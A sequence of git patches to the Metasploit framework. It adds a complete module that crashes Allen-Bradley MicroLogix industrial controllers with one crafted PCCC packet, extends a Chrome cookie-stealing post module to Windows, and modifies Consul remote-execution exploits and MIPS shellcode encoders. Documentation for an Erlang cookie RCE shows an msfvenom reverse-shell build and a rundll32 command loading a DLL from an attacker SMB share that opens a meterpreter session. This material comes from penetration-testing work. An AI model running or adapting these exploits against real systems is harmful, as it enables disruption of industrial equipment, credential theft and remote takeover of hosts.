outgoing connections', false]), + OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), Opt::RPORT(8500) ]) end @@ -49,6 +50,9 @@ def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "/v1/agent/self"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } }) unless res vprint_error 'Connection failed' @@ -78,6 +82,9 @@ def execute_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/agent/service/register'), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, 'ctype' => 'application/json', 'data' => { :ID => "#{service_name}", @@ -107,6 +114,9 @@ def execute_command(cmd, opts = {}) uri, "v1/agent/service/deregister/#{service_name}" ), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } }) if res and not res.code == 200 fail_with(Failure::Unknown, From a52ffbcead4fd9efe5ccaa7f2d7128f7ace355c2 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 17:03:09 +0100 Subject: [PATCH 073/220] Missing disclosure date. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index b735b1abb464..5658bdbad980 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -34,7 +34,8 @@ def initialize(info={}) 'Payload' => {}, 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ], 'Privileged' => false, - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 11 2018')) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']), From af418ec7f7e339d587a964f01a601e7ae92171ec Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 18 Dec 2018 16:05:23 +0000 Subject: [PATCH 074/220] Fix mipsle byte_xori too --- modules/encoders/mipsle/byte_xori.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index ad2b7b1b1759..0d1444861d44 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -18,8 +18,9 @@ def initialize }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on - 'juan vazquez' # byte_xori encoder + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez', # byte_xori encoder + 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) ], 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, @@ -44,6 +45,7 @@ def decoder_stub(state) # 16-bits not (again, see also commented source) reg_14 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), < Date: Tue, 18 Dec 2018 16:30:47 +0000 Subject: [PATCH 075/220] adjust the offset to -84 --- modules/encoders/mipsle/byte_xori.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index 0d1444861d44..97b1e6cfe4cb 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -56,7 +56,7 @@ def decoder_stub(state) li ($14, #{reg_14}) ; 0xXXXX0e24 - store in $14 the number of passes (two's complement) - xxxx (number of passes) nor $14, $14, $0 ; 0x2770c001 - get in $14 the number of passes - li ($11,-85) ; 0xbbff0b24 - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr) + li ($11,-84) ; 0xacff0b24 - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr) ; acts as getpc next: From 1e88ce9a3dfbdc8b793782014a0a12b761741fb6 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 18 Dec 2018 16:33:44 +0000 Subject: [PATCH 076/220] Edit the comments to -84 --- modules/encoders/mipsbe/byte_xori.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index 9bf4a43f1225..9bfd27ce2cb5 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -56,7 +56,7 @@ def decoder_stub(state) li ($14, #{reg_14}) ; 0x240exxxx - store in $14 the number of passes (two's complement) - xxxx (number of passes) nor $14, $14, $0 ; 0x01c07027 - get in $14 the number of passes - li ($11,-84) ; 0x240bffbb - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr) + li ($11,-84) ; 0x240bffac - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr) ; acts as getpc next: From b2b410cbbeee3a9f21edba88ac5be482d2b99071 Mon Sep 17 00:00:00 2001 From: jdiog0 Date: Tue, 11 Dec 2018 14:48:11 +0000 Subject: [PATCH 077/220] DoS Exploitation of Allen-Bradley legacy protocol (PCCC) --- .../auxiliary/dos/scada/allen_bradley_pccc.md | 36 +++ .../auxiliary/dos/scada/allen_bradley_pccc.rb | 209 ++++++++++++++++++ 2 files changed, 245 insertions(+) create mode 100644 documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md create mode 100644 modules/auxiliary/dos/scada/allen_bradley_pccc.rb diff --git a/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md b/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md new file mode 100644 index 000000000000..891532d946c5 --- /dev/null +++ b/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md @@ -0,0 +1,36 @@ +## Vulnerable Application + + A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. + MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. + CVE-2017-7924 has been assigned to this vulnerability. + A CVSS v3 base score of 7.5 has been assigned. + +## Verification Steps + + 1. Do: `use auxiliary/dos/scada/allen_bradley_pccc` + 2. Do: `set RHOST=IP` where IP is the IP address of the target + 3. Do: `check` verify if target is vulnerable + 4. Do: `exploit` send DoS packet + +## Options + + 1. PORT: `set RPORT=44818` + +## Scenarios + + ``` +msf > use auxiliary/dos/scada/allen_bradley_pccc +msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194 +RHOST => 172.27.248.194 +msf auxiliary(dos/scada/allen_bradley_pccc) > check + +[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00 +[+] 172.27.248.194:44818 - The target is vulnerable. +msf auxiliary(dos/scada/allen_bradley_pccc) > exploit + +[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666) +[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85) +[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet... +[*] Auxiliary module execution completed +``` + diff --git a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb new file mode 100644 index 000000000000..c0e8c91a5a01 --- /dev/null +++ b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb @@ -0,0 +1,209 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super( + 'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", + 'Description' => %q{ + A remote, unauthenticated attacker could send a single, specially crafted + Programmable Controller Communication Commands (PCCC) packet to the controller + that could potentially cause the controller to enter a DoS condition. + MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and + 1763-L16DWD. + CVE-2017-7924 has been assigned to this vulnerability. + A CVSS v3 base score of 7.5 has been assigned. + }, + 'Author' => [ + 'José Diogo Monteiro ', + 'Luis Rosa ', + 'Miguel Borges de Freitas ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-7924' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03' ], + [ 'URL', 'http://dl.acm.org/citation.cfm?doid=3174776.3174780'] + ]) + register_options([Opt::RPORT(44818),]) + end + + VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD'] + VULN_FW_VERSION_MIN = 14.00 + VULN_FW_VERSION_MAX = 16.00 + def le_pp(s) + return "0x" << Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("") + end + + def enip_register_session_pkt + # ENIP encapsulation Header + "\x65\x00" + # Command register session (0x0065) + "\x04\x00" + # Lenght (4) + "\x00\x00\x00\x00" + # Session handle (0x00000000) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Protocol Specific Data + "\x01\x00" + # Protocol version (1) + "\x00\x00" # Option flags (0x00000000) + end + + def enip_ccm_forward_open_pkt(enip_session_handle) + # ENIP encapsulation header + "\x6f\x00" + # Send RR data (0x006f) + "\x3e\x00" + # Lenght (63) + enip_session_handle + # Session handle (retrieved from register session) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Command specific data + "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count (2) + "\x00\x00" + # Item 1 type id (Null address item) + "\x00\x00" + # Item 1 length (0) + "\xb2\x00" + # Item 2 type id (Unconnected data item) + "\x2e\x00" + # Item 2 length (46) + # CIP Connection manager specific data + "\x54\x02\x20\x06\x24\x01\x0a\xf0" + + "\x00\x00\x00\x00\x52\xac\xda\x89" + + "\x55\x0c\x35\x01\xe1\x08\xb0\x60" + + "\x07\x00\x00\x00\x00\x40\x00\x00" + + "\x12\x43\x00\x40\x00\x00\x12\x43" + + "\xa3\x02\x20\x02\x24\x01" + end + + # Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08) + def pccc_dos_pkt(enip_session_id, cip_connection_id) + # ENIP encapsulation header + "\x70\x00" + # Send unit data (0x0070) + "\x2d\x00" + # Length + enip_session_id + # ENIP session handle (obtained from enip register session) + "\x00\x00\x00\x00" + # Status Success + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context + "\x00\x00\x00\x00" + # Options + # Command Specific data + "\x00\x00\x00\x00" + # Interface handle (CIP) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count + "\xa1\x00" + # Item 1 - Type ID (Connected address item) + "\x04\x00" + # Item 1 - Length (4) + cip_connection_id + # CIP connection ID (obtained from CIP CM packet) + "\xb1\x00" + # Item 2 - Type ID (Connected data item) + "\x19\x00" + # Item 2 - Length (25) + "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet + # PCCC Command data + "\x4b" + # Execute PCCC (0x4b) + "\x02\x20\x67\x24\x01" + # no idea what this is + "\x07" + # Requestor ID length + "\x35\x01" + # CIP vendor ID + "\xe1\x08\xb0\x60" + # CIP serial number + "\x0f" + # Command code + "\x00" + # Status (success 0x00) + "\x2a\x58" + # Transaction code + "\xa2" + # Function code (Protected typed logical read with three address fields) + "\x00" + # Byte size + "\x05" + # File number + "\x47" + # File type + "\x00" + # Element number + "\x00" # Sub-element number + end + + def enip_list_identify_pkt + "\x63\x00" + # List Identity + "\x00\x00" + # Length + "\x00\x00\x00\x00" + # Session Handle + "\x00\x00\x00\x00" + # Status: Success + "\x00\x00" + # Max Response Delay + "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context + "\x00\x00\x00\x00" # Options + end + + + def check + + connect_udp + + udp_sock.put(enip_list_identify_pkt) + res = udp_sock.recvfrom(90) + + disconnect_udp + + unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00" + print_error "EtherNet/IP Packet Not Valid" + return Exploit::CheckCode::Unsupported + end + + revision = res[0][54,2] + product_name_len = res[0][62].unpack("c*")[0] + + + product_name = res[0][63,product_name_len] + print_status "Product Name: #{product_name}" + + array = product_name.split(' ') + plc_model = array[0] + + return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e } + + firmware = array[1] + begin + firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f + if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX + return Exploit::CheckCode::Vulnerable + elsif firmware_nbr < VULN_FW_VERSION_MIN + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + rescue + return Exploit::CheckCode::Unknown + end + + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + + def run + connect + # Register Ethernet/IP session + sock.put(enip_register_session_pkt) + enip_register_session_ans = sock.get_once + unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00" + print_error "Ethernet/IP - Failed to create session." + disconnect + return + end + enip_session_id = enip_register_session_ans[4, 4] + print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})" + + # Ethernet/IP CCM Forward Open + sock.put(enip_ccm_forward_open_pkt(enip_session_id)) + enip_ccm_forward_open_ans = sock.get_once + unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00" + print_error "CIP Connection Manager - Failed Forward Open request" + disconnect + return + end + cip_connection_id = enip_ccm_forward_open_ans[44, 4] + print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})" + + # PCCC DoS packet + print_status "Sending PCCC DoS magic packet..." + sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id)) + + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end +end From 6ad40deac33fe8979e9269c3170070735cfb3115 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 19:15:13 +0100 Subject: [PATCH 078/220] print_status will never throw a JSON::ParseError exception. --- modules/exploits/multi/misc/consul_service_exec.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 8c5b85421e22..711a69900e11 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -99,11 +99,7 @@ def execute_command(cmd, opts = {}) }.to_json }) if res and res.code == 200 - begin - print_status("Service '#{service_name}' successfully created.") - rescue JSON::ParseError - fail_with(Failure::Unknown, 'Failed to parse JSON output.') - end + print_status("Service '#{service_name}' successfully created.") end print_status("Waiting for service '#{service_name}' script to trigger") sleep(12) From 5192c081eeac46f79f35adfe57ef056db4fa6536 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 18 Dec 2018 19:27:08 +0100 Subject: [PATCH 079/220] Update modules/exploits/multi/misc/consul_service_exec.rb Co-Authored-By: QKaiser --- modules/exploits/multi/misc/consul_service_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 711a69900e11..6573a6b36f5a 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -114,7 +114,7 @@ def execute_command(cmd, opts = {}) 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) - if res and not res.code == 200 + if res && res.code != 200 fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.' ) From 5e134d7d8d8b6d477a8278e22e72b5f7e7680051 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 18 Dec 2018 19:27:19 +0100 Subject: [PATCH 080/220] Update modules/exploits/multi/misc/consul_service_exec.rb Co-Authored-By: QKaiser --- modules/exploits/multi/misc/consul_service_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 6573a6b36f5a..f3903a7bf482 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -115,7 +115,7 @@ def execute_command(cmd, opts = {}) } }) if res && res.code != 200 - fail_with(Failure::Unknown, + fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.' ) end From b3563b1bc2522dfb78d560970f5d83921c5988ae Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 19:33:30 +0100 Subject: [PATCH 081/220] Cleaner version of check function thanks to @bcoles. --- .../multi/misc/consul_service_exec.rb | 32 +++++++++++-------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 711a69900e11..7a31c2bf2407 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -46,31 +46,35 @@ def initialize(info={}) def check - uri = target_uri.path res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "/v1/agent/self"), + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/v1/agent/self'), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) + unless res vprint_error 'Connection failed' return CheckCode::Unknown end - begin - agent_info = JSON.parse(res.body) - if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true - return CheckCode::Vulnerable - else - return CheckCode::Safe - end - rescue JSON::ParserError - vprint_error 'Failed to parse JSON output.' - return CheckCode::Unknown + + unless res.code == 200 + vprint_error 'Unexpected reply' + return CheckCode::Safe end - end + agent_info = JSON.parse(res.body) + + if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true + return CheckCode::Vulnerable + end + + CheckCode::Safe + rescue JSON::ParserError + vprint_error 'Failed to parse JSON output.' + return CheckCode::Unknown + end def execute_command(cmd, opts = {}) uri = target_uri.path From 552b13c91d555076eb4aa1bc8b056ad75edc4fc1 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 18 Dec 2018 19:38:04 +0100 Subject: [PATCH 082/220] Randomized service length. Co-Authored-By: QKaiser --- modules/exploits/multi/misc/consul_service_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 8ab4a7150116..ccb3fd3da130 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -78,7 +78,7 @@ def check def execute_command(cmd, opts = {}) uri = target_uri.path - service_name = Rex::Text.rand_text_alpha(5) + service_name = Rex::Text.rand_text_alpha(5..10) print_status("Creating service '#{service_name}'") # NOTE: Timeout defines how much time the check script will run until From ef8601aa71de061c628fe3d8f8a32c63405bfaf0 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 19:42:26 +0100 Subject: [PATCH 083/220] Bail early if we receive an unexpected response. --- modules/exploits/multi/misc/consul_service_exec.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 8ab4a7150116..107cd7e0ae8c 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -78,7 +78,7 @@ def check def execute_command(cmd, opts = {}) uri = target_uri.path - service_name = Rex::Text.rand_text_alpha(5) + service_name = Rex::Text.rand_text_alpha(5..10) print_status("Creating service '#{service_name}'") # NOTE: Timeout defines how much time the check script will run until @@ -102,9 +102,10 @@ def execute_command(cmd, opts = {}) } }.to_json }) - if res and res.code == 200 - print_status("Service '#{service_name}' successfully created.") + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.') end + print_status("Service '#{service_name}' successfully created.") print_status("Waiting for service '#{service_name}' script to trigger") sleep(12) print_status("Removing service '#{service_name}'") From 0464f941a7f354fd93623dd970971c0b1dbf1688 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 18 Dec 2018 14:17:10 -0600 Subject: [PATCH 084/220] Add Windows Support --- modules/post/multi/gather/chrome_cookies.rb | 31 ++++++++++++++++----- 1 file changed, 24 insertions(+), 7 deletions(-) diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb index 0de893aafb40..23e458423dc8 100644 --- a/modules/post/multi/gather/chrome_cookies.rb +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -22,7 +22,7 @@ def initialize(info = {}) register_options( [ OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']), - OptString.new('TEMP_STORAGE_DIR', [false, 'Where to write the html used to steal cookies temporarily', '/tmp']), + OptString.new('TEMP_STORAGE_DIR', [true, 'Where to write the html used to steal cookies temporarily', '/tmp']), OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) ] ) @@ -38,14 +38,17 @@ def configure_for_platform @platform = :unix @chrome = 'google-chrome' @user_data_dir = "/home/#{session.username}/.config/google-chrome/" + @temp_storage_dir = datastore['TEMP_STORAGE_DIR'] when 'osx' @platform = :osx @chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' @user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome" + @temp_storage_dir = datastore['TEMP_STORAGE_DIR'] when 'windows' - print_error "Windows isn't supported by this module. See github.com/defaultnamehere/cookie_crimes for manual instructions." @platform = :windows - return + @chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"' + @user_data_dir = "\\Users\\#{session.username}\\AppData\\Local\\Google\\Chrome\\User Data" + @temp_storage_dir = "\\Users\\#{session.username}\\AppData\\Local\\Temp" else fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}" end @@ -55,15 +58,18 @@ def configure_for_platform end @retries = datastore['MAX_RETRIES'] - @temp_storage_dir = datastore['TEMP_STORAGE_DIR'] +=begin unless writable? @temp_storage_dir fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable" end +=end @html_storage_path = create_cookie_stealing_html - @chrome_debugging_cmd = "#{@chrome} --headless --disable-web-security --disable-plugins --user-data-dir=\"#{@user_data_dir}\" --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']} #{@html_storage_path}" + @chrome_debugging_cmd = "#{@chrome}" + @chrome_debugging_args = @platform == :windows ? '--enable-logging --disable-gpu' : '--headless' + @chrome_debugging_args << " --disable-web-security --disable-plugins --user-data-dir=\"#{@user_data_dir}\" --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']} #{@html_storage_path}" nil end @@ -105,7 +111,12 @@ def create_cookie_stealing_html ) # Where to temporarily store the cookie-stealing html - html_storage_path = File.join @temp_storage_dir, Rex::Text.rand_text_alphanumeric(10..15) + #html_storage_path = File.join @temp_storage_dir, Rex::Text.rand_text_alphanumeric(10..15) + if @platform == :windows + html_storage_path = "#{@temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html" + else + html_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html" + end write_file html_storage_path, cookie_stealing_html html_storage_path end @@ -115,7 +126,13 @@ def cleanup_html end def get_cookies - chrome_output = cmd_exec @chrome_debugging_cmd + if @platform == :windows + chrome_output_pid = cmd_exec_get_pid @chrome_debugging_cmd, @chrome_debugging_args + Rex::sleep(5) + chrome_output = read_file("#{@user_data_dir}\\chrome_debug.log") + else + chrome_output = cmd_exec @chrome_debugging_cmd, @chrome_debugging_args, 2 + end print_status "Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd}" From 8a2a605a99eb323812a6a98654cde6611e52ea38 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Tue, 18 Dec 2018 14:50:57 -0600 Subject: [PATCH 085/220] added targets --- .../exploit/multi/misc/erlang_cookie_rce.md | 110 ++++++++++-------- .../exploits/multi/misc/erlang_cookie_rce.rb | 22 +++- 2 files changed, 76 insertions(+), 56 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md index e4ab90888baf..3f049ecdc2c1 100644 --- a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -12,21 +12,21 @@ 1. Install the Erlang Port Mapper Daemon 2. Install RabbitMQ 3. Start `msfconsole` - 4. Do `use exploit/unix/erlang_cookie_rce` + 4. Do `use exploit/multi/misc/erlang_cookie_rce` 5. Do `set RHOST ` 6. Do `set COOKIE ` - 7. Do set appropriate payload (Unix=cmd/unix/reverse, Windows=cmd/windows/generic) + 7. Do `set TARGET ` 8. Do `set LHOST ` - 9. `exploit` and verify shell is opened (varies per OS) + 9. `exploit` and verify shell is opened (if on windows login) ## Scenarios ### Ubuntu 16.04.5 LTS ``` -msf exploit(multi/erlang_cookie_rce) > options +msf exploit(multi/misc/erlang_cookie_rce) > options -Module options (exploit/multi/erlang_cookie_rce): +Module options (exploit/multi/misc/erlang_cookie_rce): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -47,10 +47,10 @@ Exploit target: Id Name -- ---- - 0 Automatic Target + 0 Unix -msf exploit(multi/erlang_cookie_rce) > exploit +msf exploit(multi/misc/erlang_cookie_rce) > exploit [*] Started reverse TCP double handler on W.X.Y.Z:4444 [*] A.B.C.D:25672 - Receiving server challenge @@ -74,72 +74,80 @@ uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq) ### Windows 10 (Build 17134) +First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe) + ``` -msf exploit(multi/erlang_cookie_rce) > options +msf exploit(multi/misc/erlang_cookie_rce) > options -Module options (exploit/multi/erlang_cookie_rce): +Module options (exploit/multi/misc/erlang_cookie_rce): Name Current Setting Required Description ---- --------------- -------- ----------- - COOKIE MOLKLGXHWQLTGUREBDKI yes Erlang cookie to login with + COOKIE EXAMPLE yes Erlang cookie to login with RHOST A.B.C.D yes The target address RPORT 25672 yes The target port (TCP) -Payload options (cmd/windows/generic): +Payload options (cmd/windows/adduser): - Name Current Setting Required Description - ---- --------------- -------- ----------- - CMD \\W.X.Y.Z\BOB\t.exe yes The command string to execute + Name Current Setting Required Description + ---- --------------- -------- ----------- + CUSTOM no Custom group name to be used instead of default + PASS Wetw0rkHax0r$1 yes The password for this user + USER wetw0rk yes The username to create + WMIC false yes Use WMIC on the target to resolve administrators group Exploit target: Id Name -- ---- - 0 Automatic Target + 1 Windows -msf exploit(multi/erlang_cookie_rce) > exploit +msf exploit(multi/misc/erlang_cookie_rce) > exploit [*] A.B.C.D:25672 - Receiving server challenge [*] A.B.C.D:25672 - Sending challenge reply [+] A.B.C.D:25672 - Authentication successful, sending payload [*] Exploit completed, but no session was created. +``` + +Once exploitation is complete the tester can authenticate. Another method that can be used it SMB as shown below. + +exploit.rc -> +``` +use exploit/windows/smb/smb_delivery +set SHARE MSF +set TARGET 0 +exploit -j +use exploit/multi/misc/erlang_cookie_rce +set COOKIE EXAMPLE +set TARGET 1 +set RHOST A.B.C.D +set PAYLOAD cmd/windows/generic +set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0" +exploit -j +``` + +``` +msf > resource exploit.rc +[*] Processing /root/exploit.rc for ERB directives. +[*] Exploit running as background job 0. +[*] Started reverse TCP handler on W.X.Y.Z:4444 +[*] Started service listener on W.X.Y.Z:445 +[*] Server started. +[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0 +[*] Exploit running as background job 1. +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Sending stage (179779 bytes) to A.B.C.D +[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600 +[*] Exploit completed, but no session was created. +msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1 +[*] Starting interaction with 1... ---- Impacket SMB Server --- -root@kali:/tmp# msfvenom -p windows/x64/shell_reverse_tcp LHOST=W.X.Y.Z LPORT=3 -f exe -o t.exe -[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload -[-] No arch selected, selecting arch: x64 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 460 bytes -Final size of exe file: 7168 bytes -Saved as: t.exe 